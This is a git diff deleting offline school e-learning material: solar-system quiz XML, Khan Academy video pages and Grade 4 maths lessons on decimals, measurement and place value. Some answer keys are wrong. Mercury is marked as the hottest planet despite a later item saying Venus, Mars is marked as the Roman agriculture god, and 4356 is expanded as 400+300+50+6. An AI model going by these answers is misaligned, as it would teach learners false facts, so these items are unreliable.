-AC_FL_RunContent('codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0','width','100%','height','100%','align','middle','src','template','quality','high','SeamlessTabbing','false','bgcolor','#FFFFFF','name','course','allowscriptaccess','sameDomain','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','template','menu','false','id','course');
-</script>
-</div>
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S1001/template.swf b/Explore/elr/Science/S1001/template.swf
deleted file mode 100755
index c6c27d8..0000000
--- a/Explore/elr/Science/S1001/template.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S1001/xml/activity07.xml b/Explore/elr/Science/S1001/xml/activity07.xml
deleted file mode 100755
index 46b5ba7..0000000
--- a/Explore/elr/Science/S1001/xml/activity07.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1">
-        <qn><![CDATA[Which is the hottest planet in the solar system?]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[Mercury]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Venus]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Earth]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Sun]]></option>
-        </options>
-      </question>
-      <question id = "2">
-        <qn><![CDATA[Which of the following is <i>not</i> a planet?]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Mercury]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Venus]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[Sun]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Mars]]></option>
-        </options>
-      </question>
-      <question id = "3">
-        <qn><![CDATA[Which planet was regarded as the Roman god of agriculture?]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Mercury]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[Mars]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Earth]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Venus]]></option>
-        </options>
-      </question>
-      <question id = "4">
-        <qn><![CDATA[Which is the only planet that supports all forms of life?]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Mercury]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Venus]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Mars]]></option>
-		  <option id = "4" isCorrect = "true"><![CDATA[Earth]]></option>
-        </options>
-      </question>
-      <question id = "5">
-        <qn><![CDATA[Which planet has the hottest average temperature?]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Mercury]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[Venus]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Mars]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Earth]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[That's correct!]]></correct>
-      <wrong id = "2"><![CDATA[That's incorrect.]]></wrong>
-    </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/Science/S1001/xml/activity13.xml b/Explore/elr/Science/S1001/xml/activity13.xml
deleted file mode 100755
index 8de2261..0000000
--- a/Explore/elr/Science/S1001/xml/activity13.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1">
-        <qn><![CDATA[Identify the planet that is famous for its rings.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Uranus]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Jupiter]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Neptune]]></option>
-		  <option id = "4" isCorrect = "true"><![CDATA[Saturn]]></option>
-        </options>
-      </question>
-      <question id = "2">
-        <qn><![CDATA[Which planet is blue in color?]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Uranus]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[Neptune]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Pluto]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Saturn]]></option>
-        </options>
-      </question>
-      <question id = "3">
-        <qn><![CDATA[Which planet spins in a tilted way?]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[Uranus]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Mars]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Earth]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Venus]]></option>
-        </options>
-      </question>
-      <question id = "4">
-        <qn><![CDATA[Which planet has the Great Red Spot?]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Mercury]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Venus]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[Jupiter]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Earth]]></option>
-        </options>
-      </question>
-      <question id = "5">
-        <qn><![CDATA[Which is called the dwarf planet?]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Mercury]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Venus]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[Pluto]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[Mars]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[That's correct!]]></correct>
-      <wrong id = "2"><![CDATA[That's incorrect.]]></wrong>
-    </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/Science/S1001/xml/course.xml b/Explore/elr/Science/S1001/xml/course.xml
deleted file mode 100755
index f0a8816..0000000
--- a/Explore/elr/Science/S1001/xml/course.xml
+++ /dev/null
@@ -1,16 +0,0 @@
-<course id="1">
-	<screen id = "01" type = "" swf = "SS_001" />
-	<screen id = "02" type = "" swf = "SS_002" />
-	<screen id = "03" type = "" swf = "SS_003" />
-	<screen id = "04" type = "" swf = "SS_004" />
-	<screen id = "05" type = "" swf = "SS_005" />
-	<screen id = "06" type = "" swf = "SS_006" />
-	<screen id = "07" type = "cyu" swf = "SS_007" />
-	<screen id = "08" type = "" swf = "SS_008" />
-	<screen id = "09" type = "" swf = "SS_009" />
-	<screen id = "10" type = "" swf = "SS_010" />
-	<screen id = "11" type = "" swf = "SS_011" />
-	<screen id = "12" type = "" swf = "SS_012" />
-	<screen id = "13" type = "cyu" swf = "SS_013" />
-	<screen id = "14" type = "" swf = "SS_014" />
-</course>
-\ No newline at end of file
diff --git a/Explore/elr/Science/activities.js b/Explore/elr/Science/activities.js
deleted file mode 100644
index 5dad50c..0000000
--- a/Explore/elr/Science/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','E-Learn','Elearn','S0001','blue','Nutrition'],
-['2','2','E-Learn','Elearn','S0002','blue','Plants (parts and photosynthesis'],
-['3','3','E-Learn','Elearn','S0501','blue','P4,5,6-Plants and animals'],
-['4','4','E-Learn','Elearn','S0502','blue','P5,6-Resources (air and water and land)'],
-['5','5','E-Learn','Elearn','S0601','blue','P4,5,6-Environment (animals, plants, habitat)'],
-['6','6','E-Learn','Elearn','S0701','blue','P5,6-History (fossils: animals and plants)'],
-['7','7','E-Learn','Elearn','S0801','blue','P5,6-Moon, sun, and earth'],
-['8','8','E-Learn','Elearn','S1001','blue','P5,6-Solar system'],
-]
diff --git a/Explore/elr/milestones.js b/Explore/elr/milestones.js
deleted file mode 100644
index 6ad9689..0000000
--- a/Explore/elr/milestones.js
+++ /dev/null
@@ -1,6 +0,0 @@
-var activities = [
-  ['0','1','el','milestone','English','cyan','E-Learning English Language'],
-  ['0','2','el','milestone','Mathematics','cyan','E-Learning Mathematics'],
-  ['0','3','el','milestone','Science','cyan','E-Learning Science'],  
-  ['0','4','el','milestone','Other','cyan','E-Learning other topics'],  
-];
diff --git a/Explore/kha/addition/activities.js b/Explore/kha/addition/activities.js
deleted file mode 100644
index b06ac12..0000000
--- a/Explore/kha/addition/activities.js
+++ /dev/null
@@ -1,6 +0,0 @@
-var activities = [
-['1','1','ka','khan','add1','blue','Basic addition'],
-['2','2','ka','khan','add2','blue','Addition 2'],
-['3','3','ka','khan','add3','blue','Level 2 addition'],
-['4','4','ka','khan','add4','blue','Addition 4'],
-]
diff --git a/Explore/kha/addition/add1/AuX7nPBqDts.flv b/Explore/kha/addition/add1/AuX7nPBqDts.flv
deleted file mode 100755
index 5de0a86..0000000
--- a/Explore/kha/addition/add1/AuX7nPBqDts.flv
+++ /dev/null
diff --git a/Explore/kha/addition/add1/Clear_Skin_1.swf b/Explore/kha/addition/add1/Clear_Skin_1.swf
deleted file mode 100755
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-Offline version - Sep 2010
-</div>
-
-</div>
-<!-- end footer -->
-</div>
-</body>
-</html>
diff --git a/Explore/kha/addition/add5/player.swf b/Explore/kha/addition/add5/player.swf
deleted file mode 100755
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-Offline version - Sep 2010
-</div>
-
-</div>
-<!-- end footer -->
-</div>
-</body>
-</html>
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-</div>
-<!-- end footer -->
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-</body>
-</html>
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deleted file mode 100755
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-<h1><a href="../../Math.html">Math</a> : <a href="../index.html">Arithmetic</a> : Greatest Common Divisor</h1>
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-<h1><a href="../../Math.html">Math</a> : <a href="../index.html">Arithmetic</a> : Equivalent fractions</h1>
-<h3>Introduces the concept of equivalent fractions</h3>
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deleted file mode 100755
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-<h1><a href="../../Math.html">Math</a> : <a href="../index.html">Arithmetic</a> : Alternate mental subtraction method</h1>
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diff --git a/Explore/kha/subtraction/sub5/Clear_Skin_1.swf b/Explore/kha/subtraction/sub5/Clear_Skin_1.swf
deleted file mode 100755
index 67f9c06..0000000
--- a/Explore/kha/subtraction/sub5/Clear_Skin_1.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub5/FLVPlayer_Progressive.swf b/Explore/kha/subtraction/sub5/FLVPlayer_Progressive.swf
deleted file mode 100755
index a6d21e7..0000000
--- a/Explore/kha/subtraction/sub5/FLVPlayer_Progressive.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub5/Halo_Skin_3.swf b/Explore/kha/subtraction/sub5/Halo_Skin_3.swf
deleted file mode 100755
index 731c0ed..0000000
--- a/Explore/kha/subtraction/sub5/Halo_Skin_3.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub5/fWan_T0enj4.flv b/Explore/kha/subtraction/sub5/fWan_T0enj4.flv
deleted file mode 100755
index ea2e6ef..0000000
--- a/Explore/kha/subtraction/sub5/fWan_T0enj4.flv
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub5/index.html b/Explore/kha/subtraction/sub5/index.html
deleted file mode 100755
index 0b4f038..0000000
--- a/Explore/kha/subtraction/sub5/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<title>Why borrowing works</title>
-<link href="../../style.css" rel="stylesheet" type="text/css"/>
-</head>
-<body>
-<div id="container">
-<!-- header -->
-<div id="header">
-<div id="slogan">Math &amp; Science Educational videos</div>
-<div id="logo">Khan Academy</a></div>
-</div>
-<div id="menu">
-<ul>
-<li><a href="../../index.html">Home</a></li>
-<li><a href="../../math.html">Math</a></li>
-<li><a href="../../science.html">Science</a></li>
-<li><a href="../../about.html">About</a></li>
-</ul>
-</div>
-<!--end header -->
-<!-- main -->
-<div id="main">
-<div id="text">
-<h1><a href="../../Math.html">Math</a> : <a href="../index.html">Arithmetic</a> : Why borrowing works</h1>
-<h3>An explanation of why (not how) borrowing/regrouping works when subtracting numbers</h3>
-<br/><br/>
-<div align="center">
-<script type='text/javascript' src='swfobject.js'></script>
-<div id='mediaspace'>This text will be replaced</div>
-<script type='text/javascript'>var so = new SWFObject('player.swf','mpl','320','240','9');
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-so.write('mediaspace');
-</script>
-</div>
-<br/><br/><br/>
-</div> 
-<!-- end text -->
-</div>
-<!-- end main -->
-
-<!-- footer -->
-<div id="footer">
-<div id="footer_left">Khan Academy Educational Video Library</div>
-<div id="footer_right">
-Offline version - Sep 2010
-</div>
-
-</div>
-<!-- end footer -->
-</div>
-</body>
-</html>
diff --git a/Explore/kha/subtraction/sub5/player.swf b/Explore/kha/subtraction/sub5/player.swf
deleted file mode 100755
index 1f655a2..0000000
--- a/Explore/kha/subtraction/sub5/player.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub5/style.css b/Explore/kha/subtraction/sub5/style.css
deleted file mode 100755
index 1097174..0000000
--- a/Explore/kha/subtraction/sub5/style.css
+++ /dev/null
@@ -1,39 +0,0 @@
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diff --git a/Explore/kha/subtraction/sub6/Clear_Skin_1.swf b/Explore/kha/subtraction/sub6/Clear_Skin_1.swf
deleted file mode 100755
index 67f9c06..0000000
--- a/Explore/kha/subtraction/sub6/Clear_Skin_1.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub6/FLVPlayer_Progressive.swf b/Explore/kha/subtraction/sub6/FLVPlayer_Progressive.swf
deleted file mode 100755
index a6d21e7..0000000
--- a/Explore/kha/subtraction/sub6/FLVPlayer_Progressive.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub6/Halo_Skin_3.swf b/Explore/kha/subtraction/sub6/Halo_Skin_3.swf
deleted file mode 100755
index 731c0ed..0000000
--- a/Explore/kha/subtraction/sub6/Halo_Skin_3.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub6/index.html b/Explore/kha/subtraction/sub6/index.html
deleted file mode 100755
index f560477..0000000
--- a/Explore/kha/subtraction/sub6/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<title>Level 4 Subtraction</title>
-<link href="../../style.css" rel="stylesheet" type="text/css"/>
-</head>
-<body>
-<div id="container">
-<!-- header -->
-<div id="header">
-<div id="slogan">Math &amp; Science Educational videos</div>
-<div id="logo">Khan Academy</a></div>
-</div>
-<div id="menu">
-<ul>
-<li><a href="../../index.html">Home</a></li>
-<li><a href="../../math.html">Math</a></li>
-<li><a href="../../science.html">Science</a></li>
-<li><a href="../../about.html">About</a></li>
-</ul>
-</div>
-<!--end header -->
-<!-- main -->
-<div id="main">
-<div id="text">
-<h1><a href="../../Math.html">Math</a> : <a href="../index.html">Arithmetic</a> : Level 4 Subtraction</h1>
-<h3>Subtraction of multi-digit numbers involving borrowing</h3>
-<br/><br/>
-<div align="center">
-<script type='text/javascript' src='swfobject.js'></script>
-<div id='mediaspace'>This text will be replaced</div>
-<script type='text/javascript'>var so = new SWFObject('player.swf','mpl','320','240','9');
-so.addParam('allowfullscreen','true');
-so.addParam('allowscriptaccess','always');
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-so.addVariable('file','omUfrXtHtN0.flv');
-so.write('mediaspace');
-</script>
-</div>
-<br/><br/><br/>
-</div> 
-<!-- end text -->
-</div>
-<!-- end main -->
-
-<!-- footer -->
-<div id="footer">
-<div id="footer_left">Khan Academy Educational Video Library</div>
-<div id="footer_right">
-Offline version - Sep 2010
-</div>
-
-</div>
-<!-- end footer -->
-</div>
-</body>
-</html>
diff --git a/Explore/kha/subtraction/sub6/omUfrXtHtN0.flv b/Explore/kha/subtraction/sub6/omUfrXtHtN0.flv
deleted file mode 100755
index 652505f..0000000
--- a/Explore/kha/subtraction/sub6/omUfrXtHtN0.flv
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub6/player.swf b/Explore/kha/subtraction/sub6/player.swf
deleted file mode 100755
index 1f655a2..0000000
--- a/Explore/kha/subtraction/sub6/player.swf
+++ /dev/null
diff --git a/Explore/kha/subtraction/sub6/style.css b/Explore/kha/subtraction/sub6/style.css
deleted file mode 100755
index 1097174..0000000
--- a/Explore/kha/subtraction/sub6/style.css
+++ /dev/null
@@ -1,39 +0,0 @@
-
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-
-#container {background-color:#FFFFFF; padding:10px;}
-
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-#slogan {float:right; font-size:22px; color:#FFD800; padding:60px 10px 0 0;}
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diff --git a/Save_Mathematics/P4/map411m01/activities.js b/Save_Mathematics/P4/map411m01/activities.js
deleted file mode 100755
index 9d09913..0000000
--- a/Save_Mathematics/P4/map411m01/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','Karma','map412m01a01','blue'],
-['2','2','map4','Karma','map412m01a02','blue'],
-['3','3','map4','Karma','map412m01a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m01/map411m01a01/a.txt b/Save_Mathematics/P4/map411m01/map411m01a01/a.txt
deleted file mode 100644
index 40a419c..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a01/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Introduction
-
-The computer will explain that decimals are a form of fraction in which the denominator is a power of 10.
-
-The computer will show that decimals fit an expanded place value table (with tenths, hundredths, thousandths positions).
-
-The computer will explain that in English, the ordinal numbers are used for fractions while the cardinal numbers are used for whole numbers.
-
-It will also explain that in reading a whole number plus a decimal fraction, the two parts are separated in figures by a decimal point and in words by 'and'. For example, 3.57 , three and fifty-seven hundredths.
-
-Finally, the computer will emphasize that when reading a decimal, we always represent the decimal point using the word 'and' and read the number on the right of the decimal point as single number with the value of the last place (e.g. 3.5 is three and five tenths. 3.57 is three and fifty-seven hundredths. 3.571 is three and five hundred seventy-one thousandths). For enrichment, the computer might point out that 0.142857 is read as zero and one hundred forty-two thousand eight hundred fifty-seven millionths - or, more often, as zero point one four two eight five seven).
diff --git a/Save_Mathematics/P4/map411m01/map411m01a01/description.py b/Save_Mathematics/P4/map411m01/map411m01a01/description.py
deleted file mode 100644
index a01fc10..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m01a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m01/map411m01a01/lesson.js b/Save_Mathematics/P4/map411m01/map411m01a01/lesson.js
deleted file mode 100644
index 3c40b73..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a01/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m01/map411m01a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m01/map411m01a02/a.txt b/Save_Mathematics/P4/map411m01/map411m01a02/a.txt
deleted file mode 100644
index 7a8787e..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a02/a.txt
+++ /dev/null
@@ -1,66 +0,0 @@
-Measurement Review
-
-This activity will evaluate whether the student is able to meet the syllabus objectives of P3 measurement. If a student is not able to meet a specific objective, the student will be given additional activities to review the objective.
-
-Look at in your environment. Man performs activities : agriculture ,carpentry ,construction , transport ,commerce etc. Which instruments does he need to make measurements of Length , capacity ? Review your conversion tables of measurements learnt in Metric system and capacity to work out the folllowing.
-
-1. Convert the given units.
-
-a) .. 2 0 cm = ........dm
-b) . 1 4 hm =........cm
-c).....4 hm =.........dm
-d).....3 dam =......cm
-e)....2 1 dm =......dm
-f).....8 m =..........dm =..........cm
-g). 2 6 dam=.........cm=.........mm
-h)...6 km =..........dam=..........m
-i)...10 m =.........dm=...........cm
-j)...1 2 km - 2 hm =.........dam
-k)...1 5 5 cm - 1 dam =.........cm
-l)....6 m* 5=.......dm
-m)...1 0km + 4 hm =.........hm
-n)....1 0 0 0 hm =........km
-o).....4 0 hm -2 0 0 dam =........hm
-p).....2 5 hm *3 =.........dam
-q).....1 0 hm + 8 dam =.........hm
-r)......1 5 0 dam =.......hm
-s).....1 8 dam : 2 =........m
-t).....2 0 l + 3 l =..........ml
-u)....2 hl + 1 dl =........dl
-v)....1 0 0 dal - 4 hl =.......l
-w)....3 6 dal : 9 =..........l
-x)....2 dl + 1 l =..........dl
-y)....7 0 0 0 ml - 3l =........l
-z ).....7 5 dal : 5 =........hl
-
-2. Janine rode bicycle from home to sector office a distance of 1 5 0 0 m and from the sector office to Health Center a distance of 8 0 0 m.Express all the distance covered in dam.
-
-3. Adriano did 4 5 0 0 m in the first round and 3 0 0 hm in the second round during a race . What distance did he do in kilometres ?
-
-4. During a walk of supporting Unity and Reconciliation, women covered 1 6 8 km. Express this distance in decametres and metres .
-
-5. A bus driver must travel 4 2 0 0 0 m to reach his village. This travel will be in 7 hours exactly. Find the distance done in a hour.
-
-6. A tailor has 7 m of a tissue for sowing a coat and a trouser .The coat will take him 4 m . Find the trouser length in mm.
-
-7. A lorry contains 1 5 0 0 0 l of fuel , convert this capacity in dal , hl .
-
-8. With a jerrycan of 25 hl, Julias ought to fill a tank whose capacity is 7 5 0 0 dal .How many times will it take him to fill the tank ?
-
-9. A school uses 4 4 0 0 0 litres of water every month. Find the capacity 0f water it uses in hectolitres.
-
-10. A cow Jersey gives 2 0 l of milk in morning and 1 8 0 0 cl in evening . Calculate its production all the day in litres.
-
-1 1. In a wedding ceremony , a host gests 8 8 0 l of beer. He starts by serving 390 dl. Find the capacity of beer does it rest.
-
-
-3. Change each of these pairs to same unit , then write them with the correct sign in between < ,> or =
-1 2 cm............1 1 8 km
-5 dam ........... 5 0 km
-2 km ..............1 8 0 0 m
-5 0 m .............5 7 cm
-3 4 cm........... 4 dam
-7 hm.............7 0 dam
-60 l ..............60 hl
-2 8 cl ..........350 dl
-41 dl .........2 5 ml
diff --git a/Save_Mathematics/P4/map411m01/map411m01a02/description.py b/Save_Mathematics/P4/map411m01/map411m01a02/description.py
deleted file mode 100644
index cebb658..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m01a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m01/map411m01a02/lesson.js b/Save_Mathematics/P4/map411m01/map411m01a02/lesson.js
deleted file mode 100644
index 6c91820..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a02/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m01/map411m01a02/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m01/map411m01a03/a.txt b/Save_Mathematics/P4/map411m01/map411m01a03/a.txt
deleted file mode 100644
index 033b8e5..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Geometry Review
-
-This activity will evaluate the student's ability to meet the P3 syllabus objectives for geometry. If a student does not meet a particular objective, the student will be given additional review activities. 
diff --git a/Save_Mathematics/P4/map411m01/map411m01a03/description.py b/Save_Mathematics/P4/map411m01/map411m01a03/description.py
deleted file mode 100644
index 3509b53..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m01a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m01/map411m01a03/lesson.js b/Save_Mathematics/P4/map411m01/map411m01a03/lesson.js
deleted file mode 100644
index e52a877..0000000
--- a/Save_Mathematics/P4/map411m01/map411m01a03/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m01/map411m01a03/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/activities.js b/Save_Mathematics/P4/map411m02/activities.js
deleted file mode 100755
index eb770d2..0000000
--- a/Save_Mathematics/P4/map411m02/activities.js
+++ /dev/null
@@ -1,13 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m02a01','blue'],
-['2','2','map4','basic','map411m02a02','blue'],
-['3','3','map4','basic','map411m02a03','blue'],
-['4','4','map4','basic','map411m02a04','blue'],
-['5','5','map4','basic','map411m02a05','blue'],
-['6','6','map4','basic','map411m02a06','blue'],
-['7','7','map4','basic','map411m02a07','blue'],
-['8','8','map4','basic','map411m02a08','blue'],
-['9','9','map4','basic','map411m02a09','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m02/map411m02a01/a.txt b/Save_Mathematics/P4/map411m02/map411m02a01/a.txt
deleted file mode 100644
index 8bd82af..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a01/a.txt
+++ /dev/null
@@ -1,249 +0,0 @@
-<ol type="1">
- <li class="MsoNormal" style="line-height: normal;">
-  <strong>
-   <span style="font-size: 12pt;" lang="YO">
-    Introduction to resources
-   </span>
-  </strong>
- </li>
-</ol>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  This course of reading and writing whole numbers will be facilitated by revision of
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  counting numbers less or equal to 100 000 and practical activities related daily life.
-  <strong>
-   <span style="color: red;">
-    &nbsp;
-   </span>
-  </strong>
- </span>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
-  T
- </span>
- <span style="font-size: 12pt;">
-  his is the reason why following exercises should be revised in the classroom before starting reading and writing numbers course.
- </span>
- <strong>
-  <span style="font-size: 12pt;" lang="YO">
-   &nbsp;
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
-  (Instruction : The Teacher asks
-  <span>
-  </span>
-  2 students)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  to count numbers from 0 to 100
-  <span style="color: red;">
-   .
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
-  (Instruction : The Teacher asks
-  <span>
-  </span>
-  2 students)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  to count laptops in the classrooms.
-  <span style="color: red;">
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  1)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  Break down (
- </span>
- <span style="font-size: 12pt;">
-  expanded forms
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  ) the
- </span>
- <span style="font-size: 12pt;">
-  following numbers
- </span>
- <span style="font-size: 12pt;">
-  <span style="color: red;" lang="YO">
-   (see how is done in exercices 1 and
-   <br />
-  </span>
- </span>
-</p>
-<ol type="1">
- <li class="MsoNormal" style="color: #c00000; line-height: normal;">
-  <span style="font-size: 12pt;">
-   45
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   (40+5)
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="color: #c00000; line-height: normal;">
-  <span style="font-size: 12pt;">
-   745
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   (700+40+5)
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="color: #c00000; line-height: normal;">
-  <span style="font-size: 12pt;">
-   4356
-  </span>
-  <span style="font-size: 12pt;">
-   <span lang="YO">
-    (400+300+50+6)
-   </span>
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   9273
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   4926
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   27835
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   84657
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   75643
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   645937
-  </span>
- </li>
-</ol>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  2) What is the place value of each digit in following numbers?
- </span>
-</p>
-<ol type="1">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   647
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   5
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-  <span style="font-size: 12pt;">
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-  <span style="font-size: 12pt;">
-   903
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-   8
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-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   746
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   64
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   742
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   20
-  </span>
